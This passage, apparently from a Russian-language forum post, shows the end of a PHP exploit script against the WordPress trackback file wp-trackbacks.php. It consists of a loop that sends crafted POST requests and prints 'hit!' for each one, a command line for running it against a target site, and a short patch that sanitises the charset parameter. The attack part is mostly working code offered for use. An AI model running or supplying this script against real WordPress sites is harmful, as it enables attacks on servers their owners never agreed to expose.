fputs($fp, “POST $path HTTP/1.1\r\n”); fputs($fp, “Host: “.$data['host'].”\r\n”); fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”); fputs($fp, “Content-length: “.strlen($str).”\r\n”); fputs($fp, “Connection: close\r\n\r\n”); fputs($fp, $str.”\r\n\r\n”);
echo “hit!\n”; $count++; }
?>
Запускаем так: php exploit.php http://site.com
Для патчинга открываем файл WP-trackbacks.php, ищем строку: Код: $charset = $_POST['charset'];
Заменяем на: Код: $charset = str_replace(”,”,”",$_POST['charset']); if(is_array($charset)) { exit; }
|
|
| |
| |
| | |
|
|
|
Пятница, 29.03.2024, 02:31 |
|